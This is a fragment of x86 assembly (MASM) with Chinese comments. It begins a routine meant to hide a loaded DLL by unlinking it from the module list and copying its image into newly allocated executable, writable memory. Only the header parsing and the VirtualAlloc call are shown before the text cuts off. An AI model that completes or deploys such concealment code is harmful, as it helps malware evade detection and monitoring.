;2015/1/7
;作用:简单的断去链表的方法 实用 也可以达到隐藏的效果 成功返回1失败返回0
;失败原因:例如内存分配不成功等等 一般是在过程中出错
;esp+8传入 DLL的句柄
dll_CopycatAndHide proc dllhandle:dword
LOCAL SizeOfImage,lpBackMem,oldprotect,AddressOfEntryPoint,g_lpNewImage
pushad
mov eax,dword ptr [dllhandle]
mov eax,dword ptr [eax+IMAGE_DOS_HEADER.e_lfanew]
add eax,dword ptr [dllhandle]
lea eax,dword ptr [eax+IMAGE_NT_HEADERS.OptionalHeader]
mov ebx,dword ptr [eax+IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint];入口点
mov dword ptr [AddressOfEntryPoint],ebx;保存入口点
mov eax,dword ptr [eax+IMAGE_OPTIONAL_HEADER.SizeOfImage]
mov dword ptr [SizeOfImage],eax;保存SizeOfImage
invoke VirtualAlloc,0,eax,MEM_COMMIT or MEM_RESERVE ,PAGE_EXECUTE_READWRITE
mov dword ptr [lpBackMem],eax;保存内存开始地址
test eax,eax
je retf1;查看是否申请内存成功 失败就返回
invoke VirtualPro